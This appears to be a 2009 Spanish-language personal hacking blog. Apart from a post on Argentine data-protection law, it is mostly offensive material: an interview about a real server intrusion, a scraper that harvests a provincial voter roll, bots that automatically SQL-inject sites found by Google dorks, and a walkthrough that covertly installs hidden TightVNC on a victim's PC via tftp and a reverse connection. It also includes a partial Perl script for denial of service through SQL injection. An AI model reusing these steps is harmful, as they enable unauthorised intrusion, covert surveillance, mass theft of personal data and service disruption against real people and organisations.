miércoles, 9 de diciembre de 2009

Ley 25.326 Proteccion de los Datos Personales

Bueno ando medio perdido y va a ser mas ahora que viene el verano y me voy para mis pagos a pasar las vacaciones, así que con amigos, familia, fiestas, viaje a Mar del Plata, se va a complicar los post. xD

Bueno decidí hacer este post por quizás hay veces que se desconoce de este tipo de derechos que tenemos. Voy a contar antes una historia chiquitita, que viene al caso y que me lo paso esta semana que anduve por Goya.

Resulta que estaba con un amigo y fuimos a buscarle a un amigo del papa de el, que es de Buenos Aires, y contando y hablando como buen porteño, comento que tenia un problema con un servidor dedicado que tiene el que lo usa para enviar mails.. Y ahí como se metió en mi ámbito de la informática le pregunte, si era de el, me contesto que no, era un servidor francés que alquila, y que brinda un servicio que ofrece a empresas de envió de mails, con distintas tarifas dependiendo la cantidad, esta base de mails con mas de 10.000.000 lo tiene organizado por profesión, entre otras cosas. Entonces yo le dije a vos spameas, y me contesto no precisamente. Entonces que realmente hace este?? ¿Acaso este señor no spamea?, acaso a mi me va a llegar a mi inbox un mail donde yo nunca pedí que me llegue ofreciendo algún producto/servicio de una empresa. Eso es SPAM. Y si encima al recibir dicho mail no hay ningún opción donde el usuario tenga la posibilidad de no recibir nunca mas este tipo de mail por esa empresa, entonces es DELITO.

Bien vamos al punto de este post, hay muchas empresas en la Web que ofrecen servicios de información personal de personas cobrando un monto específico. Esto son los populares BANCOS DE DATOS (Según la ley 25.326 un Archivo, registro, base o banco de datos: Indistintamente, designan al conjunto organizado de datos personales que sean objeto de tratamiento o procesamiento, electrónico o no, cualquiera que fuere la modalidad de su formación, almacenamiento, organización o acceso.). Ahora la cuestión de esto es que estuve viendo algunas personas en Internet que quieren saber por ejemplo que tienen estas empresas en su base de datos sobre el mismo. Entonces lo que hacen es pagar el servicio mismo que se le cobraría a cualquiera, para saber los datos de una persona X, pero en este caso es el de sus datos, sin saber que hay un articulo en la ley 25.326 donde el titular de los datos tiene derecho a acceso al mismo.

Veamos el artículo

ARTICULO 14. - (Derecho de acceso).
1. El titular de los datos, previa acreditación de su identidad, tiene derecho a solicitar y obtener información de sus datos personales incluidos en los bancos de datos públicos, o privados destinados a proveer informes.
2. El responsable o usuario debe proporcionar la información solicitada dentro de los diez días corridos de haber sido intimado fehacientemente.
Vencido el plazo sin que se satisfaga el pedido, o si evacuado el informe, éste se estimara insuficiente, quedará expedita la acción de protección de los datos personales o de hábeas data prevista en esta ley.
3. El derecho de acceso a que se refiere este artículo sólo puede ser ejercido en forma gratuita a intervalos no inferiores a seis meses, salvo que se acredite un interés legítimo al efecto.
4. El ejercicio del derecho al cual se refiere este artículo en el caso de datos de personas fallecidas le corresponderá a sus sucesores universales.

Lo que realmente hice fue hacer un pedido a Globinfo, y pedir mis datos que tenían ellos, al recibir el mail me lo querían cobrar $19, creo que era precisamente. Entonces lo que hice es realizar un mail a atención al cliente pidiendo mis datos amprado por la ley 25.236, me respondieron muy bien, diciéndome que mis datos serán otorgados a mi (el Titular), pero debería seguir unas reglas que seria enviar mi copia de DNI a una determinada dirección por correo, y que dicho pedido será enviado dentro de los 10 días, como dice en el inciso 2 articulo 14. Aquí va el modelo de pedido. (Esto tendría que enviarse por correo pero se podría escanear el DNI y enviar por mail también)

Open Discovery S.A.

Larrea 1354 Piso 14 Of 126

CP (1425)

Ciudad de Buenos Aires



Por la presente, les solicito hacerme entrega de los datos personales que obren en su Base de Datos respecto de mi persona.



Adjunto a la presente una fotocopia simple de mi D.N.I. / L.E. / L.C. / C.I., Nº ............................................... en prueba de mi identidad.



Autorizo que mis datos sean transmitidos a la siguiente dirección de correo electrónico: ………………………



Lugar y fecha ……………………………………………..



Firma:………………………… Aclaración……………………………………



Quedando a su entera disposición, le envío un cordial saludo.



Lucila

Bueno dentro de poco les cuento como me fue y que que tan precisos son esos datos, Ah en caso de que la información sea falsa tenemos derecho a que ellos borren dicha información de sus bases, y seguramente que va haber un Abogado carroñero que quiera hacer algun reclamo por daños y perjuicios.

Saludos

sábado, 21 de noviembre de 2009

Entrevista: Daniel Godoy


Bueno vi que esta bueno hacer entrevista, y decidí abrir un sector para ello! El que rompe el hielo es Daniel Godoy, lo conocí en La 4ta Jornada de Software Libre en Salta que fue organizado por Salta L.U.G.
El día viernes caímos con Pedro hacia la facultad de Salta UNSA, ya que el tenia que ir a hablar con un chico que le entro al servidor de Mauro Torres (Creador de Tuquito) para mediar las cosas ya que Pedro es amigo de Mauro. En el momento que caímos saludamos a mucha gente de Salta que me iba presentando Pedro, y después de un rato viene Miguel ( uno de los organizadores del evento), nos presenta un vago, el cual era Daniel. Donde nos saludamos. Tiempo seguido, el y Pedro fueron a hablar sobre el tema Tuquito. Yo me quede viendo una charla de Luis Wayar que estuvo muy buena sobre Linux.
Daniel no tuvo problemas en hacerle esta entrevista inexperta de parte mía, y bueno espero que la disfruten.

¿Que tal te pareció Salta?

Hola primero que nada y gracias por hacerme esta entrevista ^^.
Bueno la verdad que primero me gustaría hablar de la calidad bienvenida que me dieron allí, mucha gente copada, Carlos Debian :P
Mattgaviota, no recuerdo sus nombres pero ellos me esperaron y me trataron de 100 puntos, luego me encontré con viejos amigos
como ser, Gerardo Cabero y Miguel Tolaba (sigo agradecido eternamente), y también conocí mucha gente, entre esos a vos, Gabriel, mauro
esteban, bueno mucha gente piola. Y segundo es una ciudad hermosa. Tengo planes de volver muy pronto porque me quede
con ganas de seguir conociéndola.

¿Que onda la noche Salteña?

La noche Salteña, por lo poco que recuerdo, muy copada, muchas mujeres bonitas, alcohol. y mas especificacmente en la Balcarce... hay pubs y boliches por donde busques, la oportunidad que tuve de salir con los chicos del saltalug entramos a un boliche en patota y eramos como 20, la verdad que muy recomendable Salta si es que deseas conocer una hermosa provincia de este país.



¿Que tenes pensado presentar en San Pedro -Jujuy la próxima semana?

bueno uno de los temas dice: Ventajas de tecnologías libre en seguridad informática, la idea a grandes rasgos es explicar porque al momento de confiar en una aplicación (del tipo que sea) les convendría elegir las que estén basadas en tecnologías libres.
mostra como identificar fallos en aplicaciones de código abierto y de código cerrado, pero todo esto muy general, cosa de no aburrir y no meterme en un tema por demás complicado.
La segunda charla sera la de XSS, una técnica muy subestimada. Le puse ese nombre porque la mayoría de los administradores de sitios no fixean esos bugs que si bien al sitio no le causan daño relevante alguno, pueden ser perjudiciales para el usuario final. (a traves de esta técnicas se puede obtener datos personales entre otras cosas y cometer suplantación de identidades)



¿hace cuanto estas en el Under?


si la memoria no me falla ya casi son 4 para 5 años de que me empezó a interesar todo este tema de los sistemas, la verdad que es apasionante y calculo que a vos te debe pasar lo mismo :P



¿Te consideras ético, o la ética es algo que se ve mas desde afuera que de uno mismo?

Y mira con eso respondiste vos mismo la pregunta...siempre es mas fácil señalar :P,...... Ética? no figura en mi diccionario, mas bien yo me creo alguien impulsivo, osea que no contemplo lo que pueda estar bien o mal, si alguien saldrá perjudicado... la ética es un tema para tratarlo con pinzas creo yo...
hay una linea demasiado fina entre ser ético y no... y todo depende de quien lo mire...en fin...esa es mi opinión :)






¿Que pensas de Mauro Torres?

esto es lo que pienso de mauro y espero que nadie se moleste :P, no considero que sea una mala persona, sino que es demasiado arrogante...o al menos
así me cae a mi ... digamos que cuando alguien tiene poder (o cree tenerlo) hace abuso de ello... también claro esta depende de su entorno y de la contención que pueda llegar a tener para no descarrirlarse...pero en fin yo no soy nadie para juzgar como es, que hace..o que es lo mejor para el...
Sin embargo, pienso que debería ser un poco mas humilde ....


¿Que fue lo que te mostró la arrogancia de parte de el?


Bueno tuve la oportunidad de "conocerlo" en Catamarca, donde vino a colgarse el cartel de hacker y por sobre todo de ético..cosa que no tenia nada xD
y hacia alarde de cosas como por ejemplo: que el descubrió el bug del token de joomla, eso lo tengo grabado xD
también que el fue uno de los que descubrió el algoritmo del cvv2 y hasta donde tengo entendido eso lo descubrió Nicolás Montoza, alias Xonico.
bueno y podría enumerar muchas cosas mas


¿Quien entro al servidor vos o Murder?

bueno, en realidad la intrusión la realize yo primero, pero gracias al aporte de Murder, algo fundamental ...digamos que fue un 40 % de el y un 60% mio ...
aun así sin su participación creo que no me hubiese sido tan fácil....teniendo en cuenta que esta en un servidor dedicado...
Algunas cosas que encontramos ahí fueron una carpeta llamada /hack/ con archivos tales como shell.php. cmd.php etc..
y algo mas particular fue el hecho de encontrar el apache corriendo con suid xD


¿Osea que uds al ejecutar comandos desde la shell encontrada, estaban ejecutando comandos como uid=0?

así es, pero ya estaba configurada así por defecto, que loco no?



¿que pensas de la seguridad del servidor de Tuquito, cuales fueron las falencias mas grosas?

yo creo que la principal deficiencia del servidor, fue la negligencia del administrador, a lo mejor estaba confiado que nunca nadie entraría, y supongo que todavía se debe estar preguntando, como alguien tuvo acceso a un server donde solo estaba esa web.
Por otro lado, estaba enel servidor de allytech, que a mi parecer deja mucho que desear esta empresa..



¿pensaste en la repercusión que tendría?

sinceramente no, lo hice por darme ese gustito... no hay nada como plantarse una meta y concretarla.
alguna vez me plantee defacear el server de tuquito para demostrar que no había que tener mucho conocimiento, pero ya ves.... como se dio todo
sinceramente si hubiese sabido que pasaría esto no lo hubiese hecho..�por que? por el hecho de que mucha gente trabaja en este proyecto y se vio perjudicada...


Cambiando de Tema ¿que estas estudiando y cuanto falta para q te recibas?

Estoy estudiando para analista de sistemas y con suerte me falta un poco mas de 12 meses :D
Luego tengo pensado seguir con el 3 año de Ingeniería electrónica, siempre me gusto todo lo que tenga que ver con circuitos y es una asignatura pendiente


para el hack ¿Linux o Windows?

50 y 50 digamos, me gusta el estudio de los sistemas y estudiar el comportamiento de los mismos...tanto para atacar como cuando son atacados :P



¿que Distro usas?

La distribucion que elegí es Slackware, en este momento la 13.0 , y lo prefiero por su estabilidad, "seguridad" y por la sencilles del sistema. en lo posible trato de ser minimalista :)


¿Kde o Gnome?


KDE a morir, sinceramente nunca me gusto mucho Gnome, no me pude acostumbrar a usarlo, no me atrae. en cambio kde me parece mas atractivo y sencillo



¿Lenguaje preferido?

el lenguaje del cual me enamore es PHP, la verdad que puedo hacer casi todo lo que quiero, aunque también me gusta C++ lenguaje en el cual también programo pero que todavía me falta mucho por conocer y llegar a dominarlo


¿Pensas vivir de la Seguridad Informática?

Sinceramente espero poder vivir de la Seguridad informática, pero aquí es muy difícil abrirse camino, quierooo empezar a perfeccionarme en este campo tambiénnn tratar de concientizar a los administradores... hace poco uno me contesto .." no nos hace falta ese servicio, total nos reponemofácilll cuando nos bajan la web..." eso lo dijo el admin de una municipalidad, je y yo me pregunto... no tiene interes por la integridad de los datos??

¿Cual es tu meta en este momento?

bueno mi meta por este momento, es principalmente terminar de estudiar, para poder trabajar, luego entre mis planes esta continuar con el desarrollo y compartir los pocos conocimientos que puedallegar a adquirir, ya que así conozco gente muy copada, y también muy capaz



Por ultimo ¿que te pareció la entrevista? ya que sos el primero en que estreviste

la verdad que muy entretenida y me vuelvo a agradecerte la oportunidad de poder dejar unas palabras en tu blog, ya que veo que tienes un muy buen nivel entre las cosas que posteas, y haberme elegido me llena de orgullo
Gracias

miércoles, 28 de octubre de 2009

Consultas a Padron Electoral 2009

Bueno estuve mirando la pagina del padrón de las elecciones pasadas en la provincia de Corrientes http://defsep13.corrientes.gov.ar/, donde se votaba para Gobernador. Y fui probando posibles inyecciones en SQL pero no tenia nada de eso, bien filtradas las variables. Así que pase a otro punto, el XSS donde obtuve éxito, pero lo deje alli y me intereso otra cosa .
Como vi que se podía consultar sin una previa Captcha, me puse a codear un script que automatiza las peticiones, y descargarme el padrón de apoco :).
El script lo codifique en perl Aqui el s0urce, lo que hace es abrir un socket hacia el puerto 80, y enviar cabeceras por el método POST de HTTP, haciéndolo dentro de un for para ir cambiando el numero de documento empezando desde 1 hasta una cota maxima que pongamos. Lo hago así por que la consulta aunque pongas un numero de DNI donde no tenga la cantidad de digitos exigentes, la genera igual. Es decir si yo mando el documento 1 con genero masculino. La consulta traerá el primer documento masculino que termine en 1. Si coloco 2 con genereo masculino, la consulta traerá el primer documento maculino que termine con 2 y así.
Bueno esto genera un archivo en extensión html el cual uds pueden cambiarlo desde el código el nombre(Linea 4), también pueden cambiar para que busque genero femenino, en vez de Masc. coloquen Fem. (Linea 23).

Aqui hay una captura de pantalla.



Obviamente que en este archivo mas abajo siguen mas datos, en esta captura solo se logra ver uno.
Saludos..

jueves, 22 de octubre de 2009

Configurando VMware Workstation para Debian

Bueno este post es para aquellos que quieran iniciarse en el mundo de Linux y por ahí no se animan a instalar alguna distro en su disco por miedo a la instalación o por miedo a que pase algo. Vamos a utilizar la tecnologia de virtualizacion. Yo estoy utilizando la VMware Workstation 5.5.0 pero la ultima es VMware Workstation 6.0.2. Se la pueden descargar de la pagina oficial un trial de 30 días.

Entonces empezemos.. :)

1)Al abrir nos aparecera esta pantalla. Ingresaremos donde dice "New Virtual Machine"




2) Seguira esta pantalla con la bienvenida, daremos clic a Siguiente





3) Aqui debemos seleccionar el configuracion apropiada. Marcamos Custom, para dar una configuracion mas avanzada.






4)En esta pantalla nos preguntara que tipo de formato queremos, yo coloque el formato nuevo, osea la opcion New - Workstation 5.





5)Ahora en mi caso estoy por intalar un Debian 5.0 con arquitectura i386. Dejo marcado el tipo de SO Linux y la version Other Linux 2.6.x kernel. Ya que este kernel es de esa familia.




6) Pondremos el nombre para nuestra maquina virtual, pongan uno que este relacionado con el SO que esten por intalar (es solo un consejo). En este ejemplo coloque Mi Debian





7)Ahora configuraremos el tamaño de la memoria RAM que le asiganaremos a la VM. Yo tengo 2 gb por lo tanto le di un 556 de ram (je seria mas cuadrado colocar 512?). Tambien tenemos una tablita donde nos dice lo recomendado y una cota maxima de asignacion que le podremos dar.






8) Configuracion del tipo de red. Colocaremos en modo NAT. para que al momento de intalar DEBIAN el programaa de intalacion tome a la red por DHCP sin problemas.






9) En esto dejamos como esta y damos en Sigueinte




10) En esta pantalla marcaremos la primera opcion "Create a new virtual disk". Tenemos las opciones para usar uno disco virtual existente o uno fisico. :)




11) El tipo de disco. Marcamos IDE, ya que cuando intente con SCSI el intalador no encontraba ningun controlador para ese tipo. En fin con IDE me anduvo. :)




12)El tamaño del disco en GB.



13) El nombre del disco virtual. Yo le puse Mi_Debian.vmdk. Y listo ya tenemos..




14) Ahora en la pantalla que sigue, estamos posicionado en el menu de nuestra VM que acabamos de crear. Una opcion que coloco es colocarle el nombre de mi disquetera de CD-ROM, ya que automaticamente no me funcionaba. Hago doble clic en CD-ROM, y luego cambio la opcion que esta en Auto Detect, por el nombre, que en mi caso es el E:.





Ahora solo falta hacer clic en el signo de Play de color verde e iniciara nuestra maquina virtual, tendremos que colocar el CD cd Debian esperar que bootee, y empezar a instalar. La intalacion es como en cualqueir maquina, eso ya es independiente de que si es una VM o una computadora fisica.


Saludos

domingo, 18 de octubre de 2009

Bot MySQL Search Google 2.0

Aunque ya lo había terminado hace un tiempito voy a publicarlo recién por falta de tiempo. Hay algunas mejoras que coloque una de ellas es el filtrado de paginas que son posiblmente inyectables. Es decir que por ejemplo en una busqueda del tipo inurl:*.php?id=, con una cantidad de 10 paginas (o mas o menos es solo un ejemplo), seguramente en la misma búsqueda se van a repetir las mismas paginas por lo cual el BOT en la V. 1.0 no contemplaba esto y redundaba.
Otra característica muy importante es que ahora ya no necesita tanta coparticipación humana, solamente le pasamos los parámetros nesesarios, y empezara la automatizacion que contempla la búsqueda, la obtención de las posibles victimas, y el ataque por SQLi, (osea que podemos dejarlo en la noche y ver los resultados en el otro día) :). En este ataque intentara lo mismo que la versión anterior

1. Sacar columnas mediante la clausula UNION
2. Verificar disponibilidad de Information_schema
3. Verificar disponibilidad de Mysq.Users
4. Verificar si el usuario de la base de datos es r00t. :)

Después por ultimo todo lo recolectado lo guardara en un archivo que nosotros le diremos el nombre para que lo guarde en el misma ru
ta de donde es ejecutado el script, asi lov eremos despues con mayor tranquilidad.

Ejmplo de uso.

+++++++++++++++++++++++++++++++++++++
+ Bot MySQL Search Google 2.0 +
+ By MagnoBalt +
+++++++++++++++++++++++++++++++++++++

[?]Ingrese Patron de Busqueda (ej: inurl:.php?id_noticia=: >> inrul:noticias.php?id= site:com.ar
[?]Total de paginas de busquedas en Google: >> 15
[?]Nombre de archivo donde guardar todo: >>paginas_argentinas.txt

[+]Search:


Fijense los parametros que le paso. En primer lugar esta la busqueda inrul:noticias.php?id= site:com.ar
, en segundo lugar esta la cantidad 15, y como tercer y ultimo esta el archivo de salida donde se almacenara todo paginas_argentinas.txt.

Despues solo resta ver el archivo donde mostrata una lista con las que no pudo y las que pudo inyectar SQL, en donde en esta ultimas mostrara el detalle.

Aca esta el codigo s0urce

Tengo pensado seguir agregandole mas funciones y mas tipos de inyecciones. Ya tengo preparado para que la busqueda sea atravez del BING. Asi que esa seria una mejoria para la proxima. Si alguien tiene alguna idea o algun arreglo o parte de codigo con mucho gusto sera recibido..

Saludos..

domingo, 27 de septiembre de 2009

Reverse VNC

Bueno hace un rato estube jugando con el VNC, probando conexiones inversas. Esto puede ser muy util cuando por ejemplo no podemos abrir algun puerto en algun router ordinario, o por ejemplo cuando estemos atras de un router con alguna victima y quiseramos ver el escritorio de la misma. Entonces podemos hacer una conexion inversa hacia nosotros.
Bueno si se leyeron este post http://magnobalt.blogspot.com/2009/09/reverse-shell-netcat-with-batch.html donde explico que es una conexion inversa y que ademas este script es por ejemplo el que pude usar para tener acceso a una maquina victima o probar en localhost (que es lo que se debe hacer :) ) para agarrar practica y despues tirarse a volar.
Entonces veamos, imaginemos que tenemos acceso a una pc con windows mediante el script que hice en el post del enlace mas arriba. Nosotros ahora queremos ver mas, osea queremos ver que esta haciendo, con quien chatea, osea ver su Escritorio :) . Bueno entonces, que nesesitamos.

Configurando VNC

Descarguen el VNC intalenlo en su maquina, y ejecutenlo.
Vamos a configurarlo primero coloquenle un password a el VNC en esa imagen muestra donde se coloca.








Ahora vamos a colocar que el icono no se muestre en la barra de tarea, para eso hacemos esto. Vamos al regitro de Windows y nos dirigimos a

HKEY_LOCAL_MACHINE\SOFTWARE\ORL\WinVNC3
,

agregaremos un nuevo valor Dword, con el nombre de DisableTrayIcon, y le daremos un valor de 1, como queda en esta imagen.












Lo que sigue es exportar la configuracion de nuestro VNC a un archivo .reg para que cuando le intalemos en la victima no tire ningun Warning de que falta setear algun password, y que el icono no se muestre etc.
entonces nos vamos a estas direeciones para exportar
HKEY_CURRENT_USER\Software\ORL\WinVNC3, Clic derecho luego en Exportar, y guardaremos con el nombre de regvnc1, ahora expotaremos el siguiente conjunto el cual es HKEY_LOCAL_MACHINE\SOFTWARE\ORL, y guardaremos con el nombre de regvnc2.
Pasamos al otro paso :)



Configurando carpeta de Bajadas
de TFTP
Una vez descargado el TFTP creen una carpeta por ejemplo en el C:\Bajadas y copienlo ahi, lo mismo hagan con el ejecutable del TightVNC, y los archivos .reg que habiamos creado anteriormente (regvnc1.reg y regvnc2.reg)
Ejecuten el Servidor TFTP, una vez ejecutado seguro les pedira si tienen intalado el Firewall un alerta, coloquenlo como exepcion.

Entonces C:\Bajadas tiene estos archivos
  1. tftp
  2. TightVNC
  3. regvnc1.reg
  4. regvnc2.reg
Dijimos que por algun Motivo X estamos en una consola de una victima ya sea mediante algun Exploit o con el post que hice sobre troyanizando Netcat.

Descargando y Ejecutando
Estos son los pasos como debemos descargarnos las cosas desde nustra pc a la victima y como se ejecuta paso por paso.

a. En la consola de nuestra victima colocamos.
PC Victim
c:\tftp -i nuestraip get regvnc1.reg
c:\tftp -i nuestraip get regvnc2.reg
c:\tftp -i nuestraip get tightvnc-1.3.9-setup.exe (en mi caso es ejecutable del VNC se llama asi)

Bien ahora tenemos descargados nuestras archivos para empezar. Ahora intalemos y configuremos

c:\tightvnc-1.3.9-setup.exe /sp- /verysilent
c:\regedit /s regvnc1.reg
c:\regedit /s regvnc2.reg
c:\rd /s /q "%allusersprofile%\menú inicio\programas\tightvnc"

En la primera opcion lo que hacemos es intalar el TightVNC silenciosamente, que lindo no?
Y en las otras dos lineas hacemos lo mismo importamos nuestros archivos .reg silenciosamente. :)
Y en la cuarta linea lo que hacemos es borrar del menu inicio el panel del tightVNC para que no se tan bandera. je..

Bien ya esta casi todo preparado ahora probemos si funciona. Nos quedan estos dos pasitos.
Abrimos una consola (cmd.exe) en nuestra maquina y nos vamos a

D:\>cd "Archivos de programa"

D:\Archivos de programa>cd TightVNC


Y ejecutamos:

D:\Archivos de programa\TightVNC>vncviewer.exe -listen

Lo que hacmoes aca es dejar un demonio del VNC en modo listen para posibles conexion hacia nosotros.

Y ahora nos vamos a la consola de la victima y nos dirijimos a la misma carpeta que nos situamos en la nuestra osea Archivos de programa\TightVNC, y ejecutamos:

C:\Archivos de programa\TightVNC>WinVNC.exe -run
Damos ejecucion al servidor VNC en la maquina victima :). Podemos ver si todo va bien con el comando tasklist, y ver si hay un WinVNC.exe corriendo..

Al fin viene lo divertido :). Ejecutemos la conexion Reversa
C:\Archivos de programa\TightVNC>WinVNC.exe -connect nuestraip

Ahora si todo sale bien y esperamos unos segundos nos aparecera el escritorio de la victima mediante el VNC, donde podemos hacer lo que se nos plazca desde subirle archivos, descargar los suyos, manejar su mouse.. Etc, etc, etc.....

Si se habran dado cuenta tambien con esta forma podemos conectarnos a la maquina de la victima directamente con el cliente del VNC, ya que esta todo configurado para ingresar y el password sera el el que colocamos cuando empezamos la configuracion.
Obviamente que cada vez que reinicie la maquina la victima tendriamos que ejcutar el WinVNC.exe para que este todo ok!! Eso es todo


Saludos

domingo, 20 de septiembre de 2009

Bot MySQL Search Google 1.0 && 2.0

Bueno hace un mes anduve codeando una tools que lo que haga es automatizar algunas de las tantas cosas que uno hace cuando busca un SQLi.
Asi que tengo dos versiones de esta tools la 1.0 y la 2.0. Bien digamos que la diferencia que hay entre las dos es que la 1.0 nesesita algo de participacion humana, pero le voy a comentar mejor como se usa, las diferencias y de que se trata.

1.0) En esta version lo que hace es primero que nada te pide dos variables:
Parametro 1)patron de busqueda para google, lo que vamos a usar son las API que nos ofrece google para hacer busquedas mas avanzadas de las normales (Recomiendo http://johnny.ihackstuff.com/ghdb/). Por ejemplo un patron que utilizamos muchos seria este: inurl:*..php?id=, que es lo que hacemos con esta busqueda? Pues decimos a google que nos encuentre todas las direeciones que tengan en la URL algo con noticia.php?id=4545, mirar.php?id=454, sadasda.php?id=1 ....... En todo lo que sigan ese patron. Pues con esas paginas despues el BOT lo que va hacer es testear si algunas de esas es posivlemente vulnerable. Tambien pudieramos filtrar un poco la busqueda, es decir por ejemplo buscar solo paginas con la terminacion com.ar. De esta forma: inurl:*.php?id= site:com.ar

Parametro 2) Numero de cantidad de paginas de Google. que puede ser unas 10, 20, 30 60 etc.. Hay que acordarse que cuando el BOT de google sospecha de algun comportamiento sospechoso pedira un captcha, y en este caso el BOT no podra seguir consiguiendo enlaces.. Despues se vera como Bypasser eso :)..Si alguien tiene alguna Idea...
Entonces la pantalla principal seria algo asi con sus dos parametros

+++++++++++++++++++++++++++++++
+ Bot MySQL Search Google +
+ By MagnoBalt +
+++++++++++++++++++++++++++++++

[?]Ingrese Parametro de Busqueda (ej: inurl:.php?id_noticia=: >> inurl:*.php?id=
site:com.ar
[?]Total de paginas de busquedas en Google: >> 10

[+]Search:


Y en este moemnto empieza la busqueda.. Solo habra que esperar hasta que arroje los resultados.. Tendriamos algo parecido a esto

[0]http://pagina0.com.ar/ficha.php?id=291
[1]http://www.pagina1.com.ar/acti_nota.php?id=912
[2]http://www.pagina2.com.ar/nota_completa.php?id=1536
[3]http://www.pagina3.com.ar/acti_nota.php?id=894
[4]http://www.pagina2.com.ar/edimpresa/nota.php?id=207214
[5]http://www.pagina4.com.ar/nota_completa.php?id=3917
[6]http://www.pagina5.com.ar/articulo.php?recurso=601
[7]http://pagina5.com.ar/seccion.php?id=76
[8]http://www.pagina7.com.ar/viewtopic.php?id=23

[?]A cual desea automatizar la inyeccion. Eliga por el indice:>>

Una vez tenido la lista podemos empezar la automatizacion seleccionando por el indice la que queremos testear. Por ejemplo si quisieramos probar con www.pagina2.com.ar (No colocare la pagina verdadera solo nombres fictisios) colocariamos su indice que en este caso es 2
Note que hay paginas que estan repetidas, pues una de esas es la mejora del BOT 2.0, coloque una funcion para filtrar las que ya tenia como posibles vulnerables.

Ahora al colocar en este caso 2 nos pedira 2 parametros que nesesitamos para que empieze el testeo. quedaria algo asi:


[?]A cual desea automatizar la inyeccion. Eliga por el indice:>>2
[+]Empezando la automatizacion del la inyeccion.
[!]Primer Paso: Intentar sacar numero de columnas para UNION
[?]Maximo numero con cual intentar:>>20
[?]elija comentario -- or /* :>>--

Osea lo que hice es pasarle un numero 20, que es una cota maximo de intentos para buscar las culumnas que nesesita la clausula UNION, y el segundo fue que comentario utilizar que en este caso coloque --
Entonces tenemos algo como esto

[+]Search:
[+]La web posee 10
[+]http://pagina2.com.ar/ficha.php?id=-1+UNION+SELECT+0,1,2,3,4,5,6
,7,8,9--

[!]Segundo Paso: Verficando disponibilidad de Information_Schema
[+]Information Schema Disponible
[!]Tercer Paso: Verificando disponibilidad de de Mysql.users
[-]Mysql.users no Disponible
[!]Cuarto Paso: Verificando si el usuario es root
[-]El usuario no es root
[?]Desea Seguir con otro enlace Y/N: >>


Los pasos son encontrar la cantidad de columnas despues verificar si esta disponicle Information_Schema blablablabla.. bueno ahi se ve todo lo que hace no?? Nos pregunta si queremos seguir si colocamos Y podremos seguir inyectando otra y a la que ya hayamos inyectado nos colocara al final del link un *, osea que va hacer tantos * al lado de un enlace como tantas veces hayamos testeado el enlace. Ejemplo si llegasemos a no encontrar columnas a una con una cota superior por ejemplo podriamos intentar con una cota mas grande en este caso al listar por segunda vez despues de haber intentado la anterior en el enlace quedaria

[2]http://www.pagina2.com.ar/nota_completa.php?id=1536 *

Bueno en La proxima colocare la version 2.0


Aca esta el codigo http://paste2.org/p/433646

Saludos

jueves, 10 de septiembre de 2009

The Blind Fox

Blind Fox, es una herramienta codificada en perl por Loggin-root, el cual nos permite automatizar la inyecciones de BLIND SQL . Este script se fijara si el motor que estamos atacando tiene permiso a las vista information_schema y a la tabla Mysql.users. Luego hace un bruteo de las posibles tablas que los programadores usan al crear una para los usuarios y las posibles columnas que tendra esa tabla, luego de encontrarlas podemos extraer los datos de ella.

Tenemos dos version la V5.0 y la ultima V7.0. Voy a comentar el uso de ambas. Una vez que tengamos el script (abajo estan los links de los script), abrimos un shell, (si estas en Linux ya lo tenes instalado al interprete de perl :) , en Windows vas a tener que descargarte uno e instalarlo :p). y ejecutamos el script ej: perl Blindfox.pl

USO:Version 5.0

perl BlindFox_v05.pl [WEBSITE] [PATRON] [FILE] [-EXT]

[WEBSITE]: http://www.web.com/index.php?id=4875

Esta es la pagina que nosotros encontramos como vulnerable a BLIND SQL, hay que pasarle la direccion con un valor valido. A que me refiero con valido, a que el numero que tiene asignado en este ejemplo la variable “id”, exista en la WEB.

[PATRON]: Bien este es el patron que se encuentra en la pagina TRUE, es decir al inyectar 1=1, la condicion se cumple siempre por lo cual nos mostrara la misma pagina que estaba anteriormente. Entonces hay que elegir alguna palabra de esa pagina “TRUE”, y pasarle al script en ese argumento entre comillas. Por ejemplo “Documento”

[FILE]: Archivo de salida donde guardara el informe para que lo veamos mas tranquilamente luego.

[-EXT]: Este parametro es opcional, si no le pasamos solo chequeara si la pagina es vulnerable, y luego verificara si el usuario de MySQL al que estamos atacando tiene permiso para leer la Vista Schema y la tabla Mysql.Users mas el bruteo de tablas y columnas. Si lo colocamos vamos a poder extraer los valores de alguna tabla y columna especifica

USO: Version 7.0

Uso: perl blindFox.pl [WEBSITE] [FILE] [-EXT]

[WEBSITE]: http://www.web.com/index.php?id=4875
[FILE]: Archivo donde guardar informe
[-EXT]: Para extraer nombres de usuarios, passwords, etc (Opcional)


Como podran observar en esta version no se pasa el PATRON, lo que el autor le agrego una funcion automatica para verificar si es vulnerable o no. ¿Como?. Agrega una funcion que lo que hace es contar las lineas de codigo de la pagina TRUE y la de la FALSE, luego compara dichos valores y si son distintos VULNERABLE!!, si no puede ser que no lo sea.. Pero por que coloco que puede ser.. Hay veces que este SCRIPT no interpreta bien en algunos casos, pero nosotros estamos seguro que la pagina es vulnerable por que inyectamos el AND 1=1 y AND 1=0 y nos da paginas diferentes. Entonces el BlindFox 5.0 nos salva en esta oportunidad pasandole el PATRON que nosotros sabemos que en la TRUE se encuentra y no en la FALSE

Aqui estan los Codigo

Version 5.0 y Version 7.0

Aclaracion: Estas herramientas se utilzan sabiendo lo que se esta haciendo, por eso recomiendo antes leer algun documento soble BLIND SQL.

Saludos

lunes, 7 de septiembre de 2009

DoS por SQLi

Resulta que apartir de una inyeccion en SQL , se pueden hacer tantas cosas que es algo que en el area de hacking siempre estan saliendo nuevas tecnicas y nuevas tools. Hoy decidi hacer un POST un poco avanzado para aquellos que no tengan idea de SQLi. Lo que vamos hacer es hacer un DoS al motor de SQL que en este caso el script que escribi para que realize la accion es para atacar un MYSQL.
Lo que hacemos es atacar de forma parecida al que se realiza en Time-Based Blind SQL. Pero en este caso forzamos al motor a realizar un delay constantemente.
Aqui esta el script hecho en perl

  1. · #!/usr/bin/perl
  2. · use IO::Socket;
  3. · if (!@ARGV[2]){
  4. · print "======================================================= \n";
  5. · print " Denial of Service MySQL injection V 1.0by MagnoBalt \n\n";
  6. · print " use perl $0 www.pagina.com.ar /noticia.php?id=45\n\n";
  7. · print "======================================================= \n";
  8. · exit(0);
  9. · }
  10. ·
  11. · $host=$ARGV[0];
  12. · $path=$ARGV[1];
  13. · #$injeccion="+and+(select+count(*)+from+information_schema.columns, +information_schema.columns+T1,

+information_schema.tables+T2)" ;

  1. · $injeccion="+and benchmark(99999999999999,md5(0x6b616f78))";
  2. · for($i = 1; $i < $ARGV[2] ; $i++) {
  3. · $pid = fork();
  4. · $socket = new IO::Socket::INET(
  5. · PeerAddr => $host,
